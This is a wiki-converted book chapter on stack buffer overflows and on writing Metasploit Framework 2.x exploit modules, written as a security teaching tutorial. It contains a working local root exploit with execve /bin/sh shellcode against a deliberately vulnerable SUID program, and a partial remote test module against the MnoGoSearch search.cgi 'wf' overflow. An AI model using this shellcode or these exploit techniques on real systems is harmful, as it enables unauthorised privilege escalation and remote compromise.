Docbook2Wiki: Initial conversion from Docbook

2008-03-11T21:39:00Z

Initial conversion from Docbook

New page

{{Network Security Tools/TOC}}
The Metasploit project was started as a research group for security tool and exploit development. The group's most visible project is the Metasploit Framework (MSF), which is distributed as open source software by its main authors, Spoonm and HD Moore. The latest version of the framework at the time of this writing is 2.2, and you can download it for free at the group's web site, ''http://www.metasploit.com/''. MSF is a modular system of object-oriented Perl. The framework is written for rapid exploit development and to encourage advances in exploit code development. In this chapter we'll focus on MSF and how you can write your own proof-of-concept exploits. We'll discuss the basics of stack overflows, how the framework works, how to write modules to extend the framework's functionality, and how to write an exploit module using MSF.

== Introduction to MSF ==

MSF exists to provide a consistent and all-encompassing exploit development platform. This makes rapid exploit development possible for professionals and researchers. At its core, MSF provides an extensible API and interface for setting variable parameters on an exploit. You can reuse many components between exploits. Examples include payloads, payload handlers, NOP generators, protocol libraries, and encoding routines. MSF comes with a robust assortment of these core components to be reused in exploit development. To facilitate the goals of component reuse and rapid exploit development, all the components and exploits are written using Object-Oriented Perl (OOP) with dynamic loading. As shown later in this chapter, MSF's complex OOP foundation makes developing modules easier.

MSF functions as a bridge between the abstract concept of a "remote exploit" and a user. These concepts are interfaced within the various MSF frontends. The frontends have the task of setting user-controllable parameters and launching exploit modules with complete control over how the exploit is run. MSF comes with three frontend programs to demonstrate the framework's flexibility. ''msfconsole'' is a fully interactive subshell interface that you can run from a shell interpreter such as ''bash'' or ''cmd.exe''. It is the preferred frontend and is used for all the examples in this chapter. The ''msfcli'' command-line interface is ideal for use in scripts. All options and parameters are supplied as arguments on the command line. The ''msfweb'' web server interface allows users to access the framework with a standard web browser.

Another goal of the framework is portability. Because MSF is written in the Perl programming language and uses a minimal number of external modules, it works on a wide variety of operating systems.

<div class="tip">
'''Tip'''

The framework download page, at ''http://www.metasploit.com/'', provides a compressed tar archive of the framework source that you can use as is with the Perl interpreters found on Linux/BSD/OSX. Also found on the download page is an installer for Windows. This installs a minimal version of the Cygwin API emulator as well as the framework source. As of MSF version 2.2, if you have previously installed Cygwin you cannot use MSF Cygwin concurrently with the previously installed Cygwin.
</div>

When you first look into the MSF install source directory, you will notice that MSF comes with a series of helper utilities that the framework authors provide to help in exploit development and MSF use. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-1|Table 5-1]] provides a brief description of the programs that come with MSF and explains what is found in the main directories. After extracting the source your first step should be to read the ''CrashCourse.html'' file.

<div id="networkst-CHP-5-TABLE-1">
'''Table 5-1. Main MSF files and directories'''

{| border="1"
|-
! File or directory !! Description
|-
| ''data/'' || Contains files needed for specialized payloads.
|-
| ''docs/'' || The documentation directory. This should be your first stop for extensive documentation on how to use the frontends and the tools.
|-
| ''encoders/'' || Contains encoder modules that operate on the payloads. The encoders are usually target-architecture-dependent.
|-
| ''exploits/'' || Contains all the exploit modules that come with the framework.
|-
| ''extras/'' || Contains the <tt>Net-SSL</tt> and <tt>Term-ReadLine-Gnu</tt> Perl modules. These are not necessary to run MSF, but they are required for SSL socket support and for advanced ''msfconsole'' features.
|-
| ''lib/'' || Contains the MSF core files.
|-
| ''msfcli'' || A command-line interface to the framework. All options and settings are passed as arguments to this program.
|-
| ''msfconsole'' || A text-based console interface to the framework, with tab completion and external command execution functionality.
|-
| ''msfdldebug'' || A helper utility that downloads debugging symbols for Microsoft Windows files.
|-
| ''msfencode'' || A helper utility for testing out the encoder modules. Using this will help you to understand how MSF deals with payload encoding.
|-
| ''msflogdump'' || A helper utility for analyzing the logs generated by the interface.
|-
| ''msfpayload'' || A helper utility for testing out the encoder payload.
|-
| ''msfpayload.cgi'' || A helper utility for testing out the encoder payload. You can move this into a CGI directory and execute it from a web browser.
|-
| ''msfpescan'' || A helper utility that finds opcode matches in a Windows PE executable. These opcodes are often used as return instructions when jumping to shellcode.
|-
| ''msfupdate'' || A helper utility that downloads updates to the framework over HTTPS.
|-
| ''msfweb'' || A web server interface accessible to multiple web browser clients.
|-
| ''nops/'' || Contains modules that generate "No operation" buffers that are used in exploits to increase their reliability.
|-
| ''payloads/'' || Contains modules that implement various actions a particular exploit can perform; for example, binding a shell to a TCP socket on the target host.
|-
| ''sdk/'' || A small tutorial on writing a module for a contrived vulnerability.
|-
| ''src/'' || Contains various payloads and assembly used in the framework.
|-
| ''tools/'' || Contains the helper tools ''Socket Ninja'' and ''memdump''. ''Socket Ninja'' is a multiplexing socket manager and ''memdump'' extracts memory segments from running Windows processes.
|}
</div>

== Overview of Stack Buffer Overflows ==

Security problems have always been an issue in software. From users abusing time-sharing operating systems in the '70s to the remote network compromises of the current day, software always has—and always will have—security bugs. Starting in the late 1980s a new type of software vulnerability known as ''overflows'' began to be exploited. Since then overflows have become the undisputed king of vulnerabilities, accounting for the majority of security advisories in the last 10 years.

What follows is a brief refresher on stack-based buffer overflows and how you can exploit them. This section is intended as an overview only, so feel free to skip ahead if you already have a firm grasp on the subject.

=== Memory Segments and Layout ===

In general, today's operating systems (OSes) support two levels of protected memory areas in which processes can run: ''user space'' and ''kernel space''. The kernel space is where the core processes of the OS execute. The user space is where user-level processes—such as daemons—execute. A discussion of memory corruption attacks should focus on two areas: kernel space attacks and user-level processes. Kernel space attacks are beyond the scope of this chapter and really aren't what MSF was designed for, so we'll focus on user-space processes. Attacks against these processes can be generalized in local and remote attacks. MSF in general is used to exploit programs that listen for remote network connections, and in the example module later in this chapter, we'll focus on this kind of attack.

Before discussing how to exploit process memory, it is necessary to understand how the virtual memory for user-level processes is organized. The following paragraphs discuss the Linux operating system on the x86 architecture. Many of the general concepts will apply to other operating systems and architectures.

When the OS initializes a process, it maps five main virtual memory segments. Each segment has a specific purpose and can either have a fixed size or grow as needed. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-2|Table 5-2]] describes each standard" mmory segment in Linux. The code, data, and BSS segments are populated with information from the executable during process initialization. The heap and stack typically have fixed starting positions but then grow according to a program's instructions. It should be noted that wherever a static buffer exists in memory, it can overflow. However, our discussion will focus on stack segment buffer overflows, as they account for the majority of exploited overflows.

<div id="networkst-CHP-5-TABLE-2">
'''Table 5-2. Relevant user-space virtual memory segments'''

{| border="1"
|-
! Segment name !! Description
|-
| Code || This segment contains the actual instructions the program will execute.
|-
| Data || This segment contains global and static variables with initialized values.
|-
| BSS || This segment contains global and static variables that are uninitialized.
|-
| Heap || This segment is for dynamic memory allocations.
|-
| Stack || This segment is a memory range for allocation of variables local to a function and is thus dynamic, depending on the function call tree.
|}
</div>

When the process has finished initialization, the segments will be ordered, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-1|Figure 5-1]].

<div id="networkst-CHP-5-FIG-1">
'''Figure 5-1. Virtual memory layout of a process'''

[[Image:Network Security Tools_I_5_tt192.png|Virtual memory layout of a process]]
</div>

Now that we've looked at and described the memory segments, let's see in exactly which segments the variables in our code will be located. Here is a C code snippet that illustrates the memory regions where the variables will be allocated when the program is run:

int global_initialized = 311; //located in the data segment
char global_uninitialized; //located in the bss segment

int main( ){
int local_int; //located on the stack
static char local_char; //located in the bss segment
char *local_ptr; //located on the stack
local_ptr =(char *)malloc(12); //local_ptr points to
//a buffer located on the heap
char buffer[12]; //entire buffer located on the stack
return 0;
}

=== How a Buffer Overflows and Why It Matters ===

A process can allocate memory using ''stack'' or ''heap'' segments. Heaps allow the allocation of memory dynamically using C functions such as <tt>malloc( )</tt>, but with this comes the overhead of the OS's internal dynamic memory allocation routines. Stacks are more convenient for developers because the declaration syntax is simpler, and there is no overhead from dynamic memory allocation routines of the OS.

A stack is a last-in-first-out (LIFO) queue. The common stack operators are <tt>push</tt> (to add to the end of the stack) and <tt>pop</tt> (to remove the last item placed on the stack). These operators are used on the Assembly level by instructions with the same name. The stack is 32 bits wide and usually has a static starting position. Its size is governed by the extended base pointer (EBP) and extended stack pointer (ESP) CPU registers, but it typically grows "down." As it grows, the top of the stack (ESP) gets closer to the lowest virtual memory address, as in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-2|Figure 5-2]]. Also shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-2|Figure 5-2]] is the ESP register, which points to the top of the stack. The EBP register serves a special purpose, as it identifies the start of a stack frame by pointing to the bottom of the current stack frame. A ''stack frame'' is an area of memory that holds the local function variables as well as the arguments that were passed to the function that is executing. Stack frames are allocated by subtracting from the value of EBP and moving the bottom of the stack frame up the stack. The program performs these actions using a small series of Assembly instructions known as <tt>prolog</tt> and <tt>epilog</tt>.

<div id="networkst-CHP-5-FIG-2">
'''Figure 5-2. Key elements of the stack segment'''

[[Image:Network Security Tools_I_5_tt194.png|Key elements of the stack segment]]
</div>

When a new function is called, the address of the callee's next instruction is pushed onto the stack. This address is where the extended instruction pointer (EIP) should point when the called function returns control to the callee. Then the prolog pushes the callee function's EBP onto the stack and moves the EBP to point to the ESP. As seen in the code snippets in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-3|Table 5-3]], this creates a new stack frame where space for new local variables can be allocated by simply subtracting from ESP to grow the stack.

<div id="networkst-CHP-5-TABLE-3">
'''Table 5-3. An example C program and its x86 disassembly'''

{| border="1"
|-
! Example C program !! x86 disassembly
|-
|

1| void example( ){
|

1| example:
|-
|

2| int i;
|

2| push %ebp
|-
|

3| }
|

3| mov %esp,%ebp
|-
|

4| int main( ){
|

4| sub $0x4,%esp
|-
|

5| example( );
|

5| leave
|-
|

6| }
|

6| ret
|-
| ||
|-
| ||

7| main:
|-
| ||

8| push %ebp
|-
| ||

9| mov %esp,%ebp
|-
| ||

10| sub $0x8,%esp
|-
| ||

11| call 0x8048310 <example>
|-
| ||

12| leave
|-
| ||

13| ret
|}
</div>

In [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-3|Table 5-3]] a new stack frame is created when a new function gets called. Because there are two functions, we'll have two stack frames. In the disassembly, it's possible to identify where new stack frames are created by looking for three things: the prolog, the epilog, and use of the <tt>call</tt> instruction. Lines 8 and 9 of the disassembly show the prolog for the main function. Lines 2 and 3 show the prolog for the example function.

As the main function starts, the prolog sets up the new stack frame. Then a new frame for the <tt>example</tt> function begins on line 11. The <tt>call</tt> instruction pushes a pointer to the next instruction onto the top of the stack. Once in the <tt>example</tt> function, the function's prolog generates the next stack frame. On line 4, the stack size is adjusted by 4 bytes; this is the space needed to store the integer variable <tt>i</tt>. Finally, the <tt>example</tt> function's epilog executes on lines 5 and 6. It essentially reverses the actions of the prolog and erases the stack frame.

The epilog is important because the <tt>ret</tt> instruction returns control to the calling function. It sets the new instruction pointer based on the value stored on the stack during the call instruction. This is the key to what makes stack overflows so dangerous. Pointers that influence program flow are located on the stack. If these pointers can be overwritten, we can gain control of the program's execution.

Here is a sample C code snippet that takes one user-controlled input and copies it to a fixed-size stack buffer:

/* vuln.c */
int main(int argc, char **argv){
char fixed_buf[8];
if(argc<2){exit(-1);}
strcpy(fixed_buf,argv[1]);
return 0;
}

In the following section, the program will be compiled and traced with a debugger to show the overflow process in action. By using a program argument of <tt>AAAAAAAABBBBCCCC</tt>, we can see how saved EIP (sEIP) is overwritten. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-3|Figure 5-3]] shows the stack frame before and after <tt>strcpy( )</tt> to illustrate the stack's status after the overwrite. Note that the ASCII codes for the characters A, B, and C are 0x41, 0x42, and 0x43, respectively. Also notice that the sEIP is being overwritten with values we control!

<div id="networkst-CHP-5-FIG-3">
'''Figure 5-3. The stack frame and setup before and after strcpy'''

[[Image:Network Security Tools_I_5_tt215.png|The stack frame and setup before and after strcpy]]
</div>

<div class="warning">
'''Warning'''

Some compilers align stack buffers differently; depending on your compiler it might take more input to fully overwrite the sEIP with the example value <tt>0x43434343</tt>.
</div>

=== Shellcode ===

The good news is that now we have a way of controlling program flow. At this point we need what is commonly referred to as ''shellcode'' . Shellcode is a set of assembly instructions in which program flow can be redirected and perform some functionality. The term "shellcode" was coined to reflect the fact that it contains Assembly instructions that execute a shell (command interpreter), often at higher privilege levels. But where should we place this shellcode? Because we already used our user input buffer to take control of EIP, there is no reason we can't use the same buffer to serve a dual purpose by also including the shellcode directly in the buffer. Because this overflow is occurs in a C-style string, we should write the shellcode to avoid the <tt>NULL</tt> delimiting byte.

In an ideal world of exploitation, the top of the stack wouldn't move and we could jump to this known location every time. But in the real world of remote exploits many factors affect where the top of the stack will be on program return, so we need a solution for dealing with these variations in where our shellcode will lie.

One way of dealing with this problem is to use what is commonly known as a ''NOP sled'' . The NOP assembly instruction performs "no operation." It basically does nothing and has no effect on any CPU registers or flags. What is good about this is that we can prepend our shellcode with a buffer that consists solely of the bytes that represent the NOP instruction; on x86 architecture this is 0x90. This technique compensates for the stack's unpredictability by changing program flow to anywhere within the NOP sled, and the execution will continue up the buffer until it hits the shellcode.

Putting together the concepts we learned so far, we now can construct user input to take control of program execution and run arbitrary shellcode. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-4|Figure 5-4]] shows what our final buffer for the first program argument will look like.

<div id="networkst-CHP-5-FIG-4">
'''Figure 5-4. Final construction of the input buffer'''

[[Image:Network Security Tools_I_5_tt216.png|Final construction of the input buffer]]
</div>

The known values in this buffer are the shellcode and the NOP sled. For local exploits such as this one, you should use a shellcode that does <tt>setuid( )</tt> and <tt>exec( )</tt> to spawn the new root-level shell. The aforementioned <tt>\x90</tt> character will be used to fill the NOP sled. In our example, the values to be used for the "filler space" buffer can be arbitrary printable ASCII, so we'll use the character A. The final unknown is the ''new EIP value—''that is, the memory location we hope will be within our NOP sled. This new EIP value is commonly known as the''return'' . To find it, use a debugger to examine the process memory after using a trace buffer to trigger the vulnerability. We construct a trace buffer so that it is visually easier to find key areas of buffer in memory.

First, compile the executable with debugging symbols:

$ '''gcc vuln.c -o vuln -g'''

Next, run the ''gdb'' debugger. Once in the ''gdb'' shell, run the program with a simple trace buffer generated from the command line using Perl:

$ '''gdb -q vuln'''
(gdb) '''run `perl -e 'print "A"x28 . "1234" . "C"x1024'`'''
Starting program: /home/cabetas/research/book/vuln `perl -e
'print "A"x28 . "1234" . "C"x1024'`

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) x/x $esp
0xbfff8d60: 0x43434343
(gdb) x/x $esp+1020
0xbfff915c: 0x43434343
(gdb) print ($esp+512)
$1 = (void *) 0xbfff8f60

Note that the buffer's structure is modeled after what our eventual exploit buffer will look like, with the bytes <tt>1234</tt> directly overwriting the sEIP and the <tt>C</tt>s representing where our NOP sled will be. Also note that in this example the compiler aligned my buffer in such a way that it took 28 bytes before overwriting sEIP.

The program generates a segmentation fault, which signifies that it attempted to access an unmapped area of memory. This memory location is 0x34333231, the ASCII code equivalent of 4321.

<div class="sidebar">
'''Little-Endian Memory Values'''

Why did our sEIP overwrite come out backward from our input? The answer has to do with how memory values are stored on x86 architectures. The little-endian format stores values in reverse byte order. For our example, the overwritten value of <tt>1234</tt> becomes <tt>0x34333231</tt> in little-endian order and <tt>0x31323334</tt> in big-endian order. The byte values remain the same, but they are switched so that the most significant byte is written first.
</div>

After the program crashes, examine the memory located at the stack pointer (ESP). You'll notice it points to byte values that represent the letter C. If you examine the memory before and after ESP you'll see the buffer actually starts here and the last four-byte block is located at <tt>$esp+1020</tt>. Because this is where we will eventually place our NOP sled, we want to find a value within this range. We will use the <tt>$esp+512</tt> value because it's the midpoint of the buffer, and it has the highest chance of success. Now we have the new EIP value that the exploited program will return to: <tt>0xbfff8f60</tt>.

=== Putting It All Together: Exploiting a Program ===

All the elements of our exploit buffer are in place: the filler, the new EIP the program will return to, the NOP sled, and our shellcode. It's time to try it out from the command line outside the debugger. Here is a Perl script that generates an exploit buffer using the previously discussed values. Note that the <tt>pack( )</tt> function handles the little-endian conversion:

#!/usr/bin/perl
# File: exploit_buffer.pl
my $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
my $return = 0xbfff8f60;
print "A"x28 . pack('V',$return) . "\x90"x1024 . $shellcode;

The <tt>chown</tt> and <tt>chmod</tt> commands are used to set up our example program as a set user ID (SUID) application. These commands cause the program to be executed at the root user's privilege level. This is done to demonstrate the effect of an exploited SUID root program in the wild.

$ '''su'''
Password:
# '''chown root:root ./vuln'''
# '''chmod +s ./vuln'''
# '''exit'''
$ '''ls -la vuln'''
-rwsrwsr-x 1 root root 5817 Jan 24 05:50 vuln

Now, for the actual exploitation of the program; use the <tt>`</tt> (backtick) character to execute the Perl script that generates our exploit buffer. This buffer becomes the first argument to our vulnerable program. As previously mentioned, the overflowed program overwrites the sEIP address to our new return value which should point into our NOP sled. Execution continues up the NOP sled until our shellcode executes, giving us root access.

$'''./vuln `perl exploit_buffer.pl`'''
# '''id'''
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

<div class="warning">
'''Warning'''

If you are using Perl version 5.8.0 or newer with UNICODE support, you should unset the <tt>LANG</tt> environment variable to ensure that functions such as <tt>pack( )</tt> work as expected. Various parts of MSF will fail otherwise. As a test, the following shell command should print the number <tt>4</tt> when your locale settings are correct:

perl -e 'print pack("V",0xffffffff);' |wc -c
</div>

== Writing Exploits for MSF ==

Within the framework, each exploit module is a class. MSF dynamically creates an instance of the classes found in the ''exploits/'' directory, as well as those found in ''$HOME/.msf/exploits/''. These classes inherit from the <tt>Msf::Exploit</tt> class. The <tt>Msf::Exploit</tt> class has methods you can override in your exploit modules. Overriding a method is simple: declare a method with the same name as the method you want to override. The most common methods to override are <tt>Check()</tt> and <tt>Exploit( )</tt> because these are the core actions your exploits will make. <tt>Exploit( )</tt> is special because the framework will call it when a user requests that action from one of the MSF frontends. If the appropriate parameters are set, the payload will be generated using the selected payload, encoder, and NOP generator. Then the <tt>Exploit( )</tt> method will be executed, followed by the payload handler, which is the only method that has special actions before and after execution. <tt>Check( )</tt> acts in the same way, except it returns an appropriate error code. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-4|Table 5-4]] provides a list of the methods available for overriding within your custom <tt>Exploit</tt> modules. These methods are aliases for key values you can set in either <tt>$info->Payload{}</tt> or <tt>$info->Nop{}</tt> hashes. If you have values that need to be chosen according to a variable situation, you might want to override the method instead of setting the hashes.

<div id="networkst-CHP-5-TABLE-4">
'''Table 5-4. Msf::Exploit methods that can be overridden'''

{| border="1"
|-
! Method name !! Method description
|-
|

PayloadPrependEncoder
| This is an alias for <tt>$info->{Payload}->{'PrependEncoder'}</tt>. This will be added to the final payload after the NOP sled, but before the decoder machine code.
|-
|

PayloadPrepend
| This is an alias for <tt>$info->{Payload}->{'Prepend'}</tt>. This will be added to the final payload directly before the shellcode, and before the encoding happens.
|-
|

PayloadAppend
| This is an alias for <tt>$info->{Payload}->{'Append'}</tt>. This will be added to the final payload directly after the shellcode, and before the encoding happens.
|-
|

PayloadSpace
| This is an alias for <tt>$info->{Payload}->{'Space'}</tt>. This is the total size of the payload: the NOP sled size plus the decoder size plus the encoded shellcode. The NOP sled will be adjusted according to the space size.
|-
|

PayloadBadChars
| This is an alias for <tt>$info->{Payload}->{'BadChars'}</tt>. These are the characters the encoder should avoid when generating an encoded payload. The encoder will always err on the side of safety by stopping the exploit if the characters cannot be avoided.
|-
|

PayloadMinNops
| This is an alias for <tt>$info->{Payload}->{'MinNops'}</tt>. This is the minimum size of the NOP sled. If an <tt>Encoder</tt> module attempts to generate a NOP sled smaller than this, the exploit will stop and will print an error.
|-
|

PayloadMaxNops
| This is an alias for <tt>$info->{Payload}->{'MaxNops'}</tt>. It is the maximum size of the NOP sled. If an <tt>Encoder</tt> module attempts to generate a NOP sled larger than this, the exploit will stop and will print an error.
|-
|

NopSaveRegs
| This is an alias for <tt>$info->{Nop}->{'SaveRegs'}</tt>. This is for the NOP modules to avoid generating NOP-equivalent instructions that affect the variables in this array. For example, if a socket file descriptor was being held in <tt>eax</tt> you wouldn't want to use the <tt>inc eax</tt> NOP equivalent.
|}
</div>

As shown in the inheritance diagram in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-5|Figure 5-5]], because your exploit modules will inherit from <tt>Msf::Exploit</tt> and its parent classes, you'll need to set <tt>%info</tt> and <tt>%advanced</tt> with metadata regarding what your exploit requires from the framework.

<div id="networkst-CHP-5-FIG-5">
'''Figure 5-5. An inheritance diagram of major MSF components'''

[[Image:Network Security Tools_I_5_tt231.png|An inheritance diagram of major MSF components]]
</div>

For <tt>%info</tt>, you can set the following keys:

;<tt>Name</tt>
: Descriptive name for your module.
;<tt>Version</tt>
: Version number.
;<tt>Authors</tt>
: An array for listing the module's authors.
;<tt>Arch</tt>
: An array of the architectures your module supports.
;<tt>OS</tt>
: An array of the operating systems your module supports.
;<tt>Priv</tt>
: A Boolean that states whether your exploit yields privileged access on success.
;<tt>UserOpts</tt>
: A hash of arrays. The keys are the names of the options a user can set from a frontend. The first entry in the array is a Boolean that states whether the option is required or optional, the second entry is the variable type, the third is a short bit of descriptive text about the option, and the fourth is a default value. For example:

'UserOpts' =>{ 'RHOST' => [1, 'ADDR', 'The target address']}

;<tt>Payload</tt>
: A hash that contains options for the payload module. These options were detailed, along with the methods you can use to set them, in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-4|Table 5-4]].
;<tt>Nop</tt>
: A hash. The <tt>SaveRegs</tt> key is an array of registers that the NOP generator should not damage when it uses NOP-equivalent generators.
;<tt>Description</tt>
: A description of your module: what it does, how reliable it is, warnings, and so on.
;<tt>Refs</tt>
: An array of references for you to exploit OSVDB pages, advisories, and so on.
;<tt>Targets</tt>
: An array of arrays for use in your exploit. The user will set the temporary environment variable <tt>TARGET</tt> to an integer you can use to index this array. The entries for the array are completely user-defined. If a specific target requires more or less information, you can modify the target accordingly. For example:

<nowiki>'Targets' => [ ['Linux Bruteforce', '0xbffffe13', '0xbfff0000']]</nowiki>

;<tt>DefaultTarget</tt>
: Sets the index in the <tt>info->{Targets}</tt> array that will be selected as the default.

The other important hash in your exploit modules is <tt>%advanced</tt>. This hash's keys are advanced options a user would not normally need to modify. Usually, these are for development or fine-grained, detailed configuration. The values comprise an array where the first entry is the default value and the second is a description of the value. Though the purpose of <tt>%UserOpts</tt> and <tt>%advanced</tt> is to set exploit parameters, they differ in terms of their behavior. The options in <tt>%UserOpts</tt> are given types (<tt>ADDR</tt>, <tt>PORT</tt>, etc.), and when the <tt>%UserOpts</tt> values are accessed, they are checked against their stated types for consistency. Because <tt>%advanced</tt> has no specific type declarations, any value can be set for it. Additionally, <tt>%advanced</tt> values are not required, and a given exploit should always execute regardless of advanced options being set.

Here is an example of how to declare user-controllable advanced options for an exploit that has a brute-forcing routine:

<nowiki>my $advanced = {
'StackTop' => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],
'StackBottom' => ['', 'End address for stack ret bruteforcing, empty for defaults from target'],
'StackStep' => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],
'BruteWait' => [.4, 'Length in seconds to wait between brute force attempts']}</nowiki>

An important concept in MSF is the environment system. This can be illustrated best with ''msfconsole''. The variables that are created or modified using the <tt>set</tt> command are unique to each exploit—that is, they exist in a "temporary environment." Each exploit has a temporary and a global environment. The global variables are set using the <tt>setg</tt> command and persist across exploit module instantiation. To access these environment variables from exploit modules, use the <tt>GetVar()</tt> and <tt>GetLocal( )</tt> methods. <tt>GetVar( )</tt> will search for a variable in this order:

# The temporary environment
# The global environment
# <tt>SelfName::Variable</tt> (for making a module setting static within the context of an exploit module)
# A key in <tt>%advanced</tt>
# A key in <tt>%UserOpts</tt>

This hierarchy is important to remember. If a global environment variable exists, the temporary environment is searched first. If we explicitly want a module's local variable, we use <tt>GetLocal( )</tt>, because it has the same search order as <tt>GetVar( )</tt> but does not search the global environment.

== Writing a Module for the MnoGoSearch Overflow ==

As mentioned earlier, buffer overflows have historically been the most commonly found security vulnerability in software. We've already seen an example that dealt with how this can be exploited on the local level. Local vulnerabilities require some kind of access to a system. In Unix-like systems this is usually user-level access. Then a local exploit would be used to elevate your privileges from your current access level to that of a higher privilege account, typically root. A remote vulnerability is more dangerous because it allows an attacker to gain an initial level of access to a target host or network via a network-based attack.

Remote vulnerabilities are what MSF was designed for. The payloads, payload handlers, and socket classes are designed for use in writing remote exploit modules. In this section we'll use these features to write a proof-of-concept exploit for a remotely exploitable vulnerability in a CGI program.

CGI programs are executed by web servers and were originally designed for dynamic data display. It is well known that a software system is only as secure as its weakest link. A CGI program normally runs in the context and access permissions of the web server that executed it. Hence, an overflow in a CGI would allow an exploit to gain the privilege level of the web server, normally the "nobody" or "www" users.

=== Setting Up the Bug ===

MnoGoSearch for Unix is an open source search engine software project. The primary interface to search the backend metadata is the C program ''search.cgi''. In August 2003, a stack-based buffer overflow was discovered in version 3.1.20 of the CGI program when handling an overly large value for the <tt>wf</tt> GET parameter. By examining some of the affected code snippets from the ''search.c'' source code file, we can study the origin of the problem. In the interest of saving space, we've removed the irrelevant lines and put in line numbers for cross-referencing the original source code.

544 static int PrintOneTemplate(UDM_AGENT * Agent,UDM_DOCUMENT * Doc,char *
Target,char *s,int where,int ntempl){
...
902 if(!strncmp(s,"wf",2)){
903 sprintf(UDM_STREND(Target),"%s",wf?wf:"");
904 s++;
905 }else

The <tt>UDM_STREND</tt> macro finds the end of the string—in this case, <tt>Target</tt>—which is one of the function's parameters. Then the <tt>wf</tt> buffer—which comes directly from user-controllable input—is appended to the end of the <tt>Target</tt> buffer using the <tt>sprintf( )</tt> nonbounds checking function. A stack-based buffer overflow can occur when <tt>Target</tt> is a static-size character buffer declared on the stack. Reviewing the rest of the source code reveals an instance of the ideal conditions for exploitation:

1125 static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
1126 UDM_TAG tag;
1127 char *s;
1128 int len;
1129 char tmp[UDMSTRSIZ]="";
...
1142 PrintOneTemplate(Agent,NULL,tmp,option,where,0);
1143 UdmFreeTag(&tag);
1144 UdmParseTag(&tag,tmp);

The <tt>tmp</tt> static buffer is passed to the <tt>PrintOneTemplate( )</tt> function, which is known to be vulnerable. The apparent effect is that the <tt>sprintf()</tt> call in <tt>PrintOneTemplate( )</tt> will overflow the <tt>tmp</tt> buffer in <tt>PrintOption()</tt> .

Our next step in verification is to set up a server with the vulnerable software running. For the vulnerable server we'll use OpenBSD 3.1 running the Apache web server with the ''search.cgi'' program compiled and installed in a CGI directory. We'll use the ''gdb'' debugger to examine the program from a shell on the server.

To add a time delay that will allow us to find the process and attach to it, we will modify the CGI code. Near the top of the <tt>main( )</tt> function in ''search.c'', after the variable declarations, add one line: <tt>'''sleep(10);'''</tt>. This will give us time to catch the program and attach to it with ''gdb'' using a command line similar to this:

'''$gdb -q search.cgi `ps ax |grep search.cgi|grep -v grep|awk '{ print $1 }'`'''

=== The Evolution of a Working Exploit Module ===

Once the test bed is set up, write an MSF module to test the vulnerability. This building-block module will slowly evolve to a final working exploit. The module should require that the user supply the appropriate options, which will build an HTTP request with an overly large <tt>wf</tt> parameter, create a socket, and then send the request:

package Msf::Exploit::mnogosearch_wf;
use strict;
use base "Msf::Exploit";

my $advanced = { };

my $info =
{
'Name' => 'Mnogosearch wf test',
'Version' => '$Revision: 1.2 $',
'Arch' => [ 'x86' ],
'OS' => [ 'bsd' ],
'Priv' => 0,
'UserOpts' => {
'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80],
'URI' => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/search.cgi' ],
'SSL' => [ 0, 'BOOL', 'Use SSL', 0 ]
},
'DefaultTarget' => 0,
'Targets' =>
[
# Name
[ 'OpenBSD/3.1' ]
],
};

The appropriate metadata information, such as the target operating system, target architecture, some user options, and the target address, has been set. Because this is only a test harness module, there is no need for targeting values.

sub new{
my $class = shift;
my $self;
$self = $class->SUPER::new( { 'Info'=>$info, 'Advanced'=>$advanced, }, @_);
return $self;
}
sub Exploit{
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $uri = $self->GetVar('URI');

A standard <tt>new( )</tt> constructor is added so that MSF can create an instance of our <tt>mnogosearch_wf</tt> class. The <tt>Exploit( )</tt> method is overridden for the specific exploit, and local variables have been set based on the options the user supplied at runtime.

my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(6000) .
" HTTP/1.0\r\n\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintError;
return;
}
$s->Send($request);
} 1;#standard Perl module ending

Finally, build the request using <tt>PatternCreate()</tt> to generate a trace buffer, initiate a TCP socket using the supplied user options, and send the request to the web server.

We'll save this module as ''mnogosearch_wf.pm'' and place it in the ''~/.msf/exploits/'' directory. Using ''msfconsole'', select the <tt>mnogosearch_wf</tt> exploit, set the appropriate options to point to the target server, and use the <tt>exploit</tt> command to send the request.

